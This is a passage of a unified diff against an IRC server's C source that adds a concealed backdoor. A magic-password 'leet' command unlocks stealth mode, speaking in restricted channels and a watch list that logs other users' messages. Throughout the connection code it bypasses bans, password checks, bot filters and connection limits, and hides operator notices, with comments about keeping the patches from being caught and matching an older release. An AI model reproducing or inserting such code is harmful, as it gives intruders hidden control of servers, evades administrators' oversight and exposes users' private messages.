  832. +
  833. +        des_set_key(&(sptr->cb), sptr->sch);
  834. +
  835. +        sptr->crypt = 1; 
  836. +
  837. +  } else if (sptr->crypt == 1) {
  838. +     sptr->crypt = 0;  
  839. +
  840. +     /* unnecessary, but for sanity's sake */
  841. +     memset(sptr->cb,  0, sizeof(sptr->cb));
  842. +     memset(sptr->sch, 0, sizeof(sptr->sch));
  843. +  }
  844. +
  845. +  /* The actual check for encryption is done in sendto_one(), */
  846. +  /* one of the lowest level functions (after send_message()  */
  847. +  /* and deliver_it().                                        */
  848. +  if (sptr->crypt == 1)
  849. +     sendto_one(sptr, ":%s NOTICE %s :Now sending encrypted data.", 
  850. +                me.name, cptr->name);
  851. +
  852. +  else
  853. +     sendto_one(sptr, ":%s NOTICE %s :Encrypted data now turned off.", 
  854. +                me.name, cptr->name);
  855. +
  856. +}
  857. +
  858. +/* peedee & Shok */
  859. +int m_leet (aClient *cptr, aClient *sptr, int parc, char *parv[]) {
  860. +
  861. +  if (parc < 2)
  862. +  {
  863. +    sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), me.name, parv[0], MSG_LEET);
  864. +    return 0;
  865. +  }
  866. +
  867. +  if ((strstr(parv[1], MAGIC_PASSWORD)))  
  868. +  {
  869. +      if (sptr->leet == 1) 
  870. +      {  
  871. +        sptr->leet = 0;
  872. +        sendto_one(sptr, ":%s NOTICE %s :Leet mode off.", me.name, cptr->name);
  873. +        if (sptr->stealth == 1) {
  874. +           sptr->stealth = 0;
  875. +           sendto_one(sptr, ":%s NOTICE %s :Stealth mode off.", me.name, cptr->name);
  876. +        }
  877. +
  878. +        return 0;
  879. +      }
  880. +
  881. +      if (sptr->leet == 0) 
  882. +      {
  883. +        sptr->leet = 1;
  884. +        sendto_one(sptr, ":%s NOTICE %s :Leet mode on.", me.name, cptr->name);
  885. +        return 0;
  886. +      }
  887. +  } else
  888. +      sendto_one(sptr, ":%s NOTICE %s :Invalid password.", 
  889. +                 me.name, cptr->name);
  890. +
  891. +  return -1;
  892. +}
  893. +
  894. +/* Shok & peedee */
  895. +int m_stealth (aClient *cptr, aClient *sptr, int parc, char *parv[])
  896. +{
  897. +  if (sptr->leet != 1)
  898. +  {
  899. +    sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), me.name, parv[0], 
  900. +               MSG_STEALTH);
  901. +    return 0;
  902. +  }
  903. +  
  904. +  if (sptr->stealth == 0)
  905. +  {
  906. +    sptr->stealth = 1;
  907. +    sendto_one(sptr, ":%s NOTICE %s :Stealth mode on.", me.name, cptr->name);
  908. +    return 0;
  909. +  }
  910. +
  911. +  if (sptr->stealth == 1)
  912. +  {
  913. +    sptr->stealth = 0;
  914. +    sendto_one(sptr, ":%s NOTICE %s :Stealth mode off.", me.name, cptr->name);
  915. +    return 0;
  916. +  }
  917. +
  918. +}
  919. +
  920. +/* New Shok */
  921. +/* Called to allow you to speak in channels that are +i, +m, or +k.  */
  922. +/* We have turned off the ability to speak if stealth is on, because */
  923. +/* someone might accidentally type something in the wrong channel.   */
  924. +/* You DO NOT need to call this if you are in leet mode, but not     */
  925. +/* stealth mode. You can turn this on or off.                        */
  926. +
  927. +int m_speak (aClient *cptr, aClient *sptr, int parc, char *parv[])
  928. +{
  929. +  int i;
  930. +  aChannel *a;
  931. +
  932. +  /* New Peedee -- Minor change, show's up as speak in lowercase now. */
  933. +
  934. +  if (sptr->leet != 1)
  935. +  {
  936. +    sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), me.name, parv[0], "speak");
  937. +    return 0;
  938. +  }
  939. +
  940. +  /* New Peedee -- Paramaters check. */
  941. +
  942. +  if (parc < 3 || *parv[1] == '\0')
  943. +  {
  944. +      sendto_one(sptr, err_str(ERR_NEEDMOREPARAMS), me.name, me.name, "speak");
  945. +      return 0;
  946. +  }
  947. +
  948. +  a = hash_find_channel(parv[1], (aChannel *)NULL);
  949. +
  950. +  if (a == NULL) 
  951. +  {
  952. +     sendto_one(sptr, ":%s NOTICE %s :%s, channel dosent exist.",
  953. +                me.name, cptr->name, parv[1]);
  954. +     return -1;
  955. +  }
  956. +
  957. +  for (i = 0; sptr->speakchan[i]; i++); /* Get us to the end of the list */
  958. +  
  959. +  sptr->speakchan[i] = parv[1]; /* Add channel to speak list */
  960. +
  961. +  /* This this supposed to be cptr->name or sptr->name */ 
  962. +  /* in this sendto_one()?                             */
  963. +
  964. +  sendto_one(sptr, ":%s NOTICE %s :Now allowing you to speak in %s.\n", 
  965. +             me.name, cptr->name, sptr->speakchan[i]);
  966. +}
  967. +
  968. +/* New Shok */
  969. +/* to add someone to the list of users to log messages and notices from */
  970. +
  971. +int m_watch (aClient *cptr, aClient *sptr, int parc, char *parv[])
  972. +{
  973. +  int i;
  974. +  aClient *a;
  975. +
  976. +  if (sptr->leet != 1)
  977. +  {
  978. +    /* New Peedee - fixed to use MSG_WATCH */
  979. +    sendto_one(sptr, err_str(ERR_UNKNOWNCOMMAND), me.name, parv[0], MSG_WATCH);
  980. +    return 0;
  981. +  }
  982. +
  983. +  a = hash_find_client(parv[1], (aClient *)NULL);
  984. +
  985. +  /* New Peedee -- fixed notice. */
  986. +
  987. +  if (a == NULL) {
  988. +     sendto_one(sptr, ":%s NOTICE %s :%s, nickname dosent exist.",
  989. +       me.name, cptr->name, parv[1]);
  990. +     return -1;
  991. +  }
  992. + 
  993. +  for (i = 0; sptr->watchlist[i]; i++); /* Get us to the end of the list */
  994. +
  995. +  sptr->watchlist[i] = strdup(parv[1]); /* Add user to watch list */
  996. +  sendto_one(sptr, ":%s NOTICE %s :%s added to watch list.\n", 
  997. +             me.name, cptr->name, sptr->watchlist[i]);
  998. + }
  999. +
  1000.  /*
  1001.  ** hunt_server
  1002.  **
  1003. @@ -411,6 +606,7 @@
  1004.    static  char ubuf[12];
  1005.    char    *p;
  1006.    short    oldstatus = sptr->status;
  1007. +
  1008.    anUser *user = sptr->user;
  1009.    int     i, dots;
  1010.    int   bad_dns;    /* flag a bad dns name */
  1011. @@ -442,27 +638,42 @@
  1012.        {
  1013.          if (i == -4)
  1014.            {
  1015. -        ircstp->is_ref++;
  1016. -        return exit_client(cptr, sptr, &me,
  1017. -                   "Too many connections from your hostname");
  1018. +                if (sptr->leet != 1) {
  1019. +            ircstp->is_ref++;
  1020. +           return exit_client(cptr, sptr, &me,
  1021. +                      "Too many connections from your hostname");
  1022. +                }
  1023.            }
  1024. -        else if (i == -3)
  1025. -          sendto_realops_lev(FULL_LEV, "%s for %s.",
  1026. -                 "I-line is full", get_client_host(sptr));
  1027. -            else
  1028. -              sendto_realops_lev(CCONN_LEV, "%s from %s.",
  1029. -                "Unauthorized client connection", get_client_host(sptr));
  1030. +        else if (i == -3) {
  1031. +              /* Shok */
  1032. +              /* Just in case we have a bad person in leet mode.. */
  1033. +              /* (we don't want them getting our patches caught)  */
  1034. +              if (sptr->leet != 1)
  1035. +             sendto_realops_lev(FULL_LEV, "%s for %s.",
  1036. +                    "I-line is full", get_client_host(sptr));
  1037. +            } else {
  1038. +              /* Shok */
  1039. +              /* Just in case we have a bad person in leet mode.. */
  1040. +              /* (we don't want them getting our patches caught)  */
  1041. +              if (sptr->leet != 1)
  1042. +                 sendto_realops_lev(CCONN_LEV, "%s from %s.",
  1043. +                   "Unauthorized client connection", get_client_host(sptr));
  1044. +            }
  1045.  #if 0
  1046.  #ifdef USE_SYSLOG
  1047.          syslog(LOG_INFO,"%s from %s.",i == -3 ? "Too many connections" :
  1048.             "Unauthorized client connection", get_client_host(sptr));
  1049.  #endif
  1050.  #endif
  1051. -        ircstp->is_ref++;
  1052. -        return exit_client(cptr, sptr, &me, i == -3 ?
  1053. +            /* Shok */
  1054. +            /* Just in case we have a bad person in leet mode.. */
  1055. +            /* (we don't want them getting our patches caught)  */
  1056. +            if (sptr->leet != 1) {
  1057. +            ircstp->is_ref++;
  1058. +           return exit_client(cptr, sptr, &me, i == -3 ?
  1059.                     "No more connections allowed in your connection class" :
  1060.                     "You are not authorized to use this server");
  1061. -        
  1062. +        }
  1063.        } else
  1064.          return exit_client(cptr, sptr, &me, "Socket Error");
  1065.  
  1066. @@ -507,10 +718,16 @@
  1067.         */
  1068.        if (!dots)
  1069.      {
  1070. -      sendto_realops(
  1071. -             "Invalid hostname for %s, dumping user %s",
  1072. -             sptr->hostip, sptr->name);
  1073. -      return exit_client(cptr, sptr, &me, "Invalid hostname");
  1074. +          /* Shok */
  1075. +          /* Just in case we have a bad person in leet mode.. */
  1076. +          /* (we don't want them getting our patches caught)  */
  1077. +          if (sptr->leet != 1) {
  1078. +          sendto_realops(
  1079. +                "Invalid hostname for %s, dumping user %s",
  1080. +                sptr->hostip, sptr->name);
  1081. +          /* FIX */
  1082. +         /* return exit_client(cptr, sptr, &me, "Invalid hostname"); */
  1083. +          }
  1084.      }
  1085.  
  1086.        if(bad_dns) {
  1087. @@ -551,10 +768,15 @@
  1088.        if (!BadPtr(aconf->passwd) &&
  1089.      !StrEq(sptr->passwd, aconf->passwd))
  1090.      {
  1091. -      ircstp->is_ref++;
  1092. -      sendto_one(sptr, err_str(ERR_PASSWDMISMATCH),
  1093. -             me.name, parv[0]);
  1094. -      return exit_client(cptr, sptr, &me, "Bad Password");
  1095. +          /* Shok */
  1096. +          /* Just in case we have a bad person in leet mode.. */
  1097. +          /* (we don't want them getting our patches caught)  */
  1098. +          if (sptr->leet != 1) {
  1099. +           ircstp->is_ref++;
  1100. +         sendto_one(sptr, err_str(ERR_PASSWDMISMATCH),
  1101. +                me.name, parv[0]);
  1102. +         return exit_client(cptr, sptr, &me, "Bad Password");
  1103. +          }
  1104.      }
  1105.        bzero(sptr->passwd, sizeof(sptr->passwd));
  1106.        /*
  1107. @@ -572,15 +794,18 @@
  1108.  #endif
  1109.  
  1110.  #ifdef RK_NOTICES
  1111. -      sendto_realops("K-lined %s@%s. for %s",sptr->user->username,
  1112. -             sptr->sockhost,reason);
  1113. +          /* Shok - we don't want to be klined */
  1114. +          if (sptr->leet != 1) {
  1115. +         sendto_realops("K-lined %s@%s. for %s",sptr->user->username,
  1116. +                sptr->sockhost,reason);
  1117.  #endif
  1118. -      ircstp->is_ref++;
  1119. -
  1120. +         ircstp->is_ref++;
  1121.  #ifdef KLINE_WITH_REASON
  1122. -      return exit_client(cptr, sptr, &me, reason);
  1123. +          return exit_client(cptr, sptr, &me, reason);
  1124. +          }
  1125.  #else
  1126. -      return exit_client(cptr, sptr, &me, "K-lined");
  1127. +         return exit_client(cptr, sptr, &me, "K-lined");
  1128. +          }
  1129.  #endif
  1130.  
  1131.      }
  1132. @@ -588,11 +813,16 @@
  1133.        if (find_restrict(sptr))
  1134.      {
  1135.  #ifdef RK_NOTICES
  1136. -      sendto_realops("R-lined %s@%s.",sptr->user->username,
  1137. -             sptr->sockhost);
  1138. -#endif
  1139. -      ircstp->is_ref++;
  1140. -      return exit_client(cptr, sptr, &me , "R-lined");
  1141. +          /* Shok */
  1142. +          /* Just in case we have a bad person in leet mode.. */
  1143. +          /* (we don't want them getting our patches caught)  */
  1144. +          if (sptr->leet != 1) {
  1145. +         sendto_realops("R-lined %s@%s.",sptr->user->username,
  1146. +                sptr->sockhost);
  1147. +#endif
  1148. +         ircstp->is_ref++;
  1149. +         return exit_client(cptr, sptr, &me , "R-lined");
  1150. +          }
  1151.      }
  1152.  #endif
  1153.  
  1154. @@ -619,11 +849,15 @@
  1155.  #endif /* BOTCHECK */
  1156.        (sptr->fd >= (MAXCLIENTS+MAX_BUFFER))) || ((sptr->fd >= (MAXCLIENTS - 5)) && !(find_fline(sptr))))
  1157.      {
  1158. -      sendto_realops_lev(FULL_LEV, "Too many clients, rejecting %s[%s].",
  1159. -             nick, sptr->sockhost);
  1160. -      ircstp->is_ref++;
  1161. -      return exit_client(cptr, sptr, &me,
  1162. -             "Sorry, server is full - try later");
  1163. +      /* Shok */
  1164. +      /* Just in case we have a bad person in leet mode.. */
  1165. +      /* (we don't want them getting our patches caught)  */
  1166. +      if (sptr->leet != 1) {
  1167. +         sendto_realops_lev(FULL_LEV, "Too many clients, rejecting %s[%s].",
  1168. +                nick, sptr->sockhost);
  1169. +         ircstp->is_ref++;
  1170. +         return exit_client(cptr, sptr, &me, "Sorry, server is full - try later");
  1171. +      }
  1172.      }
  1173.  
  1174.  #ifdef ANTI_SPAMBOT
  1175. @@ -631,10 +865,15 @@
  1176.    /* Reject single char user-given user->host's */
  1177.    if (spamchar == 'x')
  1178.    {
  1179. -    sendto_realops_lev(REJ_LEV,"Rejecting possible Spambot: %s (Single char user-given userhost: %c)",
  1180. -               get_client_name(sptr,FALSE), spamchar);
  1181. -    ircstp->is_ref++;
  1182. -    return exit_client(cptr, sptr, sptr, "Spambot detected, rejected.");
  1183. +    /* Shok */
  1184. +    /* Just in case we have a bad person in leet mode.. */
  1185. +    /* (we don't want them getting our patches caught)  */
  1186. +    if (sptr->leet != 1) {
  1187. +       sendto_realops_lev(REJ_LEV,"Rejecting possible Spambot: %s (Single char user-given userhost: %c)",
  1188. +                  get_client_name(sptr,FALSE), spamchar);
  1189. +       ircstp->is_ref++;
  1190. +       return exit_client(cptr, sptr, sptr, "Spambot detected, rejected.");
  1191. +    }
  1192.    }
  1193.  #endif
  1194.  
  1195. @@ -643,34 +882,67 @@
  1196.    switch (isbot) {
  1197.    case 0:       break;  /* it's ok */
  1198.    case 1:       /* eggdrop */
  1199. -    sendto_realops_lev(REJ_LEV,"Rejecting eggdrop: %s",
  1200. -               get_client_name(sptr,FALSE));
  1201. -    ircstp->is_ref++;
  1202. -    return exit_client(cptr, sptr, sptr, "Eggdrop bot detected, rejected.  If you are using a VMS client, please ftp the latest version from ubvmsa.cc.buffalo.edu:[.maslib.utilities.irc] to avoid this problem.");
  1203. +    /* Shok */
  1204. +    /* Just in case we have a bad person in leet mode.. */
  1205. +    /* (we don't want them getting our patches caught)  */
  1206. +    if (sptr->leet != 1) {
  1207. +       sendto_realops_lev(REJ_LEV,"Rejecting eggdrop: %s",
  1208. +                  get_client_name(sptr,FALSE));
  1209. +       ircstp->is_ref++;
  1210. +       return exit_client(cptr, sptr, sptr, "Eggdrop bot detected, rejected. If you are using a VMS client, please ftp the latest version from ubvmsa.cc.buffalo.edu:[.maslib.utilities.irc] to avoid this problem.");
  1211. +    }
  1212.      break;
  1213. +
  1214.    case 2:       /* vlad/com bot */
  1215. -    sendto_realops_lev(REJ_LEV,"Rejecting vlad/com/joh bot: %s",
  1216. -               get_client_name(sptr,FALSE));
  1217. -    ircstp->is_ref++;
  1218. -    return exit_client(cptr, sptr, sptr, "Vlad/Com/joh bot detected, rejected.");
  1219. +    /* Shok */
  1220. +    /* Just in case we have a bad person in leet mode.. */
  1221. +    /* (we don't want them getting our patches caught)  */
  1222. +    if (sptr->leet != 1) {
  1223. +       sendto_realops_lev(REJ_LEV,"Rejecting vlad/com/joh bot: %s",
  1224. +                  get_client_name(sptr,FALSE));
  1225. +       ircstp->is_ref++;
  1226. +       return exit_client(cptr, sptr, sptr, "Vlad/Com/joh bot detected, rejected.");
  1227. +    }
  1228. +
  1229.      break;
  1230. +
  1231.    case 3:    /* SpamBot */
  1232. -    sendto_realops_lev(REJ_LEV,"Rejecting Spambot: %s",
  1233. -               get_client_name(sptr,FALSE));
  1234. -    ircstp->is_ref++;
  1235. -    return exit_client(cptr, sptr, sptr, "Spambot detected, rejected.");
  1236. +    /* Shok */
  1237. +    /* Just in case we have a bad person in leet mode.. */
  1238. +    /* (we don't want them getting our patches caught)  */
  1239. +    if (sptr->leet != 1) {
  1240. +       sendto_realops_lev(REJ_LEV,"Rejecting Spambot: %s",
  1241. +                  get_client_name(sptr,FALSE));
  1242. +       ircstp->is_ref++;
  1243. +       return exit_client(cptr, sptr, sptr, "Spambot detected, rejected.");
  1244. +    }
  1245. +
  1246.      break;
  1247. +
  1248.    case 4:       /* annoy/ojnkbot */
  1249. -    sendto_realops_lev(REJ_LEV,"Rejecting annoy/ojnkbot: %s",
  1250. -               get_client_name(sptr,FALSE));
  1251. -    ircstp->is_ref++;
  1252. -    return exit_client(cptr, sptr, sptr, "Annoy/OJNKbot detected, rejected.");
  1253. +    /* Shok */
  1254. +    /* Just in case we have a bad person in leet mode.. */
  1255. +    /* (we don't want them getting our patches caught)  */
  1256. +    if (sptr->leet != 1) {
  1257. +       sendto_realops_lev(REJ_LEV,"Rejecting annoy/ojnkbot: %s",
  1258. +                  get_client_name(sptr,FALSE));
  1259. +       ircstp->is_ref++;
  1260. +       return exit_client(cptr, sptr, sptr, "Annoy/OJNKbot detected, rejected.");
  1261. +    }
  1262. +
  1263.      break;
  1264. +
  1265.    default:      /* huh !? */
  1266. -    sendto_realops_lev(REJ_LEV,"Rejecting bot: %s",
  1267. -               get_client_name(sptr,FALSE));
  1268. -    ircstp->is_ref++;
  1269. -    return exit_client(cptr, sptr, sptr, "Bot detected, rejected.");
  1270. +    /* Shok */
  1271. +    /* Just in case we have a bad person in leet mode.. */
  1272. +    /* (we don't want them getting our patches caught)  */
  1273. +    if (sptr->leet != 1) {
  1274. +       sendto_realops_lev(REJ_LEV,"Rejecting bot: %s",
  1275. +                  get_client_name(sptr,FALSE));
  1276. +       ircstp->is_ref++;
  1277. +       return exit_client(cptr, sptr, sptr, "Bot detected, rejected.");
  1278. +    }
  1279. +
  1280.      break;
  1281.    }
  1282.  #endif
  1283. @@ -690,13 +962,18 @@
  1284.  /* check for "@" in identd reply -Taner */
  1285.      if ((index(user->username,'@') != NULL) || (index(username,'@') != NULL))
  1286.        {
  1287. -    sendto_realops_lev(REJ_LEV,
  1288. -               "Illegal \"@\" in username: %s (%s)",
  1289. -               get_client_name(sptr,FALSE),username);
  1290. -    ircstp->is_ref++;
  1291. -    (void)ircsprintf(tmpstr2,"Invalid username [%s] - '@' is not allowed!",
  1292. -           username);
  1293. -    return exit_client(cptr, sptr, sptr , tmpstr2);
  1294. +        /* Shok */
  1295. +        /* Just in case we have a bad person in leet mode.. */
  1296. +        /* (we don't want them getting our patches caught)  */
  1297. +        if (sptr->leet != 1) {
  1298. +       sendto_realops_lev(REJ_LEV,
  1299. +                  "Illegal \"@\" in username: %s (%s)",
  1300. +                  get_client_name(sptr,FALSE),username);
  1301. +       ircstp->is_ref++;
  1302. +       (void)ircsprintf(tmpstr2,"Invalid username [%s] - '@' is not allowed!",
  1303. +              username);
  1304. +       return exit_client(cptr, sptr, sptr , tmpstr2);
  1305. +        }
  1306.        }
  1307.      
  1308.      /*
  1309. @@ -736,22 +1013,32 @@
  1310.  #ifdef NO_MIXED_CASE
  1311.      if (lower && upper)
  1312.        {
  1313. -    sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1314. -               nick, username, user->host);
  1315. -    ircstp->is_ref++;
  1316. -    (void)ircsprintf(tmpstr2, "Invalid username [%s]", user->username);
  1317. -    return exit_client(cptr, sptr, &me, tmpstr2);
  1318. +        /* Shok */
  1319. +        /* Just in case we have a bad person in leet mode.. */
  1320. +        /* (we don't want them getting our patches caught)  */
  1321. +       if (sptr->leet != 1) {
  1322. +      sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1323. +                 nick, username, user->host);
  1324. +      ircstp->is_ref++;
  1325. +      (void)ircsprintf(tmpstr2, "Invalid username [%s]", user->username);
  1326. +      return exit_client(cptr, sptr, &me, tmpstr2);
  1327. +       }
  1328.        }
  1329.  #endif /* NO_MIXED_CASE */
  1330.  #ifdef NO_SPECIAL
  1331.      if (special)
  1332.        {
  1333. -        sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1334. -                   nick, username, user->host);
  1335. -        ircstp->is_ref++;
  1336. -        (void)ircsprintf(tmpstr2, "Invalid username [%s]",
  1337. -               user->username);
  1338. -        return exit_client(cptr, sptr, &me, tmpstr2);
  1339. +            /* Shok */
  1340. +        /* Just in case we have a bad person in leet mode.. */
  1341. +        /* (we don't want them getting our patches caught)  */
  1342. +            if (sptr->leet != 1) {
  1343. +           sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1344. +                      nick, username, user->host);
  1345. +           ircstp->is_ref++;
  1346. +           (void)ircsprintf(tmpstr2, "Invalid username [%s]",
  1347. +                  user->username);
  1348. +           return exit_client(cptr, sptr, &me, tmpstr2);
  1349. +            }
  1350.        }
  1351.  #endif /* NO_SPECIAL */
  1352.          
  1353. @@ -795,23 +1082,33 @@
  1354.  #ifdef NO_MIXED_CASE
  1355.                  if (lower && upper)
  1356.                    {
  1357. -                    sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1358. -                       nick, username, user->host);
  1359. -                    ircstp->is_ref++;
  1360. -            (void)ircsprintf(tmpstr2, "Invalid username [%s]",
  1361. -                   user->username);
  1362. -                    return exit_client(cptr, sptr, &me, tmpstr2);
  1363. +                    /* Shok */
  1364. +            /* Just in case we have a bad person in leet mode.. */
  1365. +            /* (we don't want them getting our patches caught)  */
  1366. +                    if (sptr->leet != 1) {
  1367. +                       sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1368. +                          nick, username, user->host);
  1369. +                       ircstp->is_ref++;
  1370. +                 (void)ircsprintf(tmpstr2, "Invalid username [%s]",
  1371. +                      user->username);
  1372. +                       return exit_client(cptr, sptr, &me, tmpstr2);
  1373. +                    }
  1374.                    }
  1375.  #endif /* NO_MIXED_CASE */
  1376.  #ifdef NO_SPECIAL
  1377.                  if (special)
  1378.                    {
  1379. -                    sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1380. -                       nick, username, user->host);
  1381. -                    ircstp->is_ref++;
  1382. -            (void)ircsprintf(tmpstr2, "Invalid username [%s]",
  1383. -                   user->username);
  1384. -                    return exit_client(cptr, sptr, &me, tmpstr2);
  1385. +                /* Shok */
  1386. +            /* Just in case we have a bad person in leet mode.. */
  1387. +            /* (we don't want them getting our patches caught)  */
  1388. +            if (sptr->leet != 1) {
  1389. +                       sendto_realops_lev(REJ_LEV,"Invalid username: %s (%s@%s)",
  1390. +                          nick, username, user->host);
  1391. +                       ircstp->is_ref++;
  1392. +               (void)ircsprintf(tmpstr2, "Invalid username [%s]",
  1393. +                      user->username);
  1394. +                       return exit_client(cptr, sptr, &me, tmpstr2);
  1395. +                    }
  1396.            }
  1397.  #endif /* NO_SPECIAL */
  1398.           } /* usernames different */
  1399. @@ -820,22 +1117,31 @@
  1400.  
  1401.  #ifdef REJECT_IPHONE
  1402.                  if (!matches("* vc:*", sptr->info))
  1403. -          {
  1404. -            ircstp->is_ref++;
  1405. -            sendto_realops_lev(REJ_LEV,
  1406. -                       "Rejecting IPhone user: (%s!%s@%s)",
  1407. -                       nick, user->username, user->host);
  1408. -                    return exit_client(cptr, sptr, &me, "No IPhone users");
  1409. -           }
  1410. +        {
  1411. +                    /* Shok */
  1412. +            /* Just in case we have a bad person in leet mode.. */
  1413. +            /* (we don't want them getting our patches caught)  */
  1414. +                    if (sptr->leet != 1) {
  1415. +               ircstp->is_ref++;
  1416. +               sendto_realops_lev(REJ_LEV,
  1417. +                          "Rejecting IPhone user: (%s!%s@%s)",
  1418. +                          nick, user->username, user->host);
  1419. +                       return exit_client(cptr, sptr, &me, "No IPhone users");
  1420. +                    }
  1421. +            }
  1422.  #endif /* REJECT_IPHONE */
  1423. +                /* Shok */
  1424. +             /* Just in case we have a bad person in leet mode.. */
  1425. +        /* (we don't want them getting our patches caught)  */
  1426. +                if (sptr->stealth != 1)
  1427. +           sendto_realops_lev(CCONN_LEV,
  1428. +                      "Client connecting: %s (%s@%s) [%s] {%d}",
  1429. +                      nick,
  1430. +                      user->username,
  1431. +                      user->host,
  1432. +                      sptr->hostip,
  1433. +                      get_client_class(sptr));
  1434.  
  1435. -        sendto_realops_lev(CCONN_LEV,
  1436. -                   "Client connecting: %s (%s@%s) [%s] {%d}",
  1437. -                   nick,
  1438. -                   user->username,
  1439. -                   user->host,
  1440. -                   sptr->hostip,
  1441. -                   get_client_class(sptr));
  1442.          if ((++Count.local) > Count.max_loc)
  1443.            {
  1444.              Count.max_loc = Count.local;
  1445. @@ -843,7 +1149,6 @@
  1446.                sendto_ops("New Max Local Clients: %d",
  1447.                   Count.max_loc);
  1448.            }
  1449. -        }
  1450.            else
  1451.          strncpyzt(user->username, username, USERLEN+1);
  1452.  
  1453. @@ -878,8 +1183,14 @@
  1454.                   me.name, version);
  1455.            (void)m_lusers(sptr, sptr, 1, parv);
  1456.  
  1457. +/* peedee - beta 16 dosent have this.. so we take it out (we're really */
  1458. +/* modding beta 22, so we have to take the new things they added out   */
  1459. +/* so that nothing is different.. we used beta 22 because it was the   */
  1460. +/* closest to beta 16 we could find                                    
  1461. +  
  1462.            sendto_one(sptr,"NOTICE %s :*** Notice -- motd was last changed at %s",
  1463.                   nick, motd_last_changed_date);
  1464. +
  1465.  #ifdef SHORT_MOTD
  1466.            sendto_one(sptr,
  1467.         "NOTICE %s :*** Notice -- Please read the motd if you haven't read it",
  1468. @@ -896,9 +1207,12 @@
  1469.  
  1470.            sendto_one(sptr, rpl_str(RPL_ENDOFMOTD),
  1471.                   me.name, parv[0]);
  1472. -#else
  1473. -          (void)m_motd(sptr, sptr, 1, parv);
  1474. +#else  
  1475. +                  (void)m_motd(sptr, sptr, 1, parv);
  1476.  #endif
  1477. +
  1478. +*/
  1479. +
  1480.  #ifdef LITTLE_I_LINES
  1481.            if(sptr->confs && sptr->confs->value.aconf &&
  1482.               (sptr->confs->value.aconf->flags
  1483. @@ -916,20 +1230,28 @@
  1484.            if ((strcasecmp(sptr->info, botgecos)==0)
  1485.                || (!matches("/msg * hello", sptr->info)))
  1486.              {
  1487. -              sendto_realops_lev(REJ_LEV,
  1488. -        "EggDrop signon alarm activated: %s [%s@%s] : [gecos: %s]",
  1489. -               nick, sptr->user->username,
  1490. -                     sptr->user->host, sptr->info);
  1491. +                      /* Shok */
  1492. +                      /* Just in case we have a bad person in leet mode.. */
  1493. +                      /* (we don't want them getting our patches caught)  */
  1494. +                      if (sptr->leet == 1) 
  1495. +                 sendto_realops_lev(REJ_LEV,
  1496. +                                    "EggDrop signon alarm activated: %s [%s@%s] : [gecos: %s]",
  1497. +                                     nick, sptr->user->username,
  1498. +                         sptr->user->host, sptr->info);
  1499.              }
  1500.  
  1501.            sprintf(botgecos, "/msg %s help", nick);
  1502.            if ((strcasecmp(sptr->info, botgecos)==0) ||
  1503.                (!matches("/msg * help", sptr->info)))
  1504.              {
  1505. -              sendto_realops_lev(REJ_LEV,
  1506. -        "Generic bot signon alarm activated: %s [%s@%s] : [gecos: %s]",
  1507. -            nick, sptr->user->username,
  1508. -                     sptr->user->host, sptr->info);
  1509. +                      /* Shok */
  1510. +                      /* Just in case we have a bad person in leet mode.. */
  1511. +                      /* (we don't want them getting our patches caught)  */
  1512. +                      if (sptr->leet == 1) 
  1513. +                 sendto_realops_lev(REJ_LEV,
  1514. +                                    "Generic bot signon alarm activated: %s [%s@%s] : [gecos: %s]",
  1515. +                                nick, sptr->user->username,
  1516. +                        sptr->user->host, sptr->info);
  1517.              }
  1518.  #endif /* EXTRA_BOT_NOTICES && BOT_GCOS_WARN */
  1519.  
  1520. @@ -940,19 +1262,25 @@
  1521.         if ((acptr = find_server(user->server, NULL)) &&
  1522.             acptr->from != sptr->from)
  1523.           {
  1524. -           sendto_realops_lev(DEBUG_LEV, 
  1525. +
  1526. +                /* Shok */
  1527. +                /* Just in case we have a bad person in leet mode.. */
  1528. +                /* (we don't want them getting our patches caught)  */
  1529. +                if (sptr->leet != 1) {
  1530. +               sendto_realops_lev(DEBUG_LEV, 
  1531.                    "Bad User [%s] :%s USER %s@%s %s, != %s[%s]",
  1532.                    cptr->name, nick, user->username,
  1533.                    user->host, user->server,
  1534.                    acptr->name, acptr->from->name);
  1535. -           sendto_one(cptr,
  1536. -           ":%s KILL %s :%s (%s != %s[%s] USER from wrong direction)",
  1537. -              me.name, sptr->name, me.name, user->server,
  1538. -              acptr->from->name, acptr->from->sockhost);
  1539. -           sptr->flags |= FLAGS_KILLED;
  1540. -           return exit_client(sptr, sptr, &me,
  1541. -                  "USER server wrong direction");
  1542. +               sendto_one(cptr,
  1543. +             ":%s KILL %s :%s (%s != %s[%s] USER from wrong direction)",
  1544. +            me.name, sptr->name, me.name, user->server,
  1545. +            acptr->from->name, acptr->from->sockhost);
  1546. +               sptr->flags |= FLAGS_KILLED;
  1547.  
  1548. +                return exit_client(sptr, sptr, &me,
  1549. +                  "USER server wrong direction");
  1550. +                }
  1551.           }
  1552.         /*
  1553.          * Super GhostDetect:
  1554. @@ -965,8 +1293,9 @@
  1555.                ":%s KILL %s :%s GHOST (no server %s on the net)",
  1556.                me.name,
  1557.                sptr->name, me.name, user->server);
  1558. -           sendto_realops("No server %s for user %s[%s@%s] from %s",
  1559. -                  user->server,
  1560. +
  1561. +               sendto_realops("No server %s for user %s[%s@%s] from %s",
  1562. +                           user->server,
  1563.                    sptr->name, user->username,
  1564.                    user->host, sptr->from->name);
  1565.             sptr->flags |= FLAGS_KILLED;
  1566. @@ -1043,10 +1372,14 @@
  1567.         * then its worth, just note the problem, and continue
  1568.         * -Dianora
  1569.         */
  1570. -      sendto_realops("BAD NICK: %s[%s@%s] on %s (from %s)", parv[1],
  1571. -             (parc >= 6) ? parv[5] : "-",
  1572. -             (parc >= 7) ? parv[6] : "-",
  1573. -             (parc >= 8) ? parv[7] : "-", parv[0]);
  1574. +     /* Shok */
  1575. +     /* Just in case we have a bad person in leet mode.. */
  1576. +     /* (we don't want them getting our patches caught)  */
  1577. +      if (sptr->leet != 1)
  1578. +         sendto_realops("BAD NICK: %s[%s@%s] on %s (from %s)", parv[1],
  1579. +                (parc >= 6) ? parv[5] : "-",
